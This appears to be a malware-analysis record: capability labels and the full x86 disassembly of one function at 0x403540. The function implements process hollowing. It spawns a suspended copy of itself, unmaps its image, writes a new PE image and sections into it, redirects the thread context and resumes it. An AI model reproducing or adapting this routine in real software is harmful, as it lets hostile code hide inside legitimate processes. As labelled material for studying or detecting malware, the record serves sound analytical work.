Function at 0x403540
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x43900c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x403765
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x403765
push 0x44
lea eax, [ebp - 0x14c]
push 0
push eax
call fcn.004184c0
add esp, 0xc
lea eax, [ebp - 0x160]
xorps xmm0, xmm0
movups xmmword [ebp - 0x160], xmm0
push eax
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403765
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x15c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x403765
push 0
push 4
lea eax, [ebp - 0x150]
push eax
push 0x434ebc
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 0x150], eax
jne 0x40365c
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x150]
push dword [ebp - 0x160]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x403765
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, 1
mov dword [ebp - 0x164], 1
cmp ax, word [edi + 6]
ja 0x4036fe
mov ebx, 0x28
nop
lea ecx, [ebx + esi]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0xe0]
mov eax, dword [ecx + 0xe4]
add eax, esi
push eax
mov eax, dword [ecx + 0xdc]
add eax, dword [ebp - 0x168]
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x164]
lea ebx, [ebx + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x164], ecx
cmp ecx, eax
jle 0x4036b0
mov ebx, dword [ebp - 0x16c]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x168]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x15c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x15c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416e02
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00416e02
mov esp, ebp
pop ebp
ret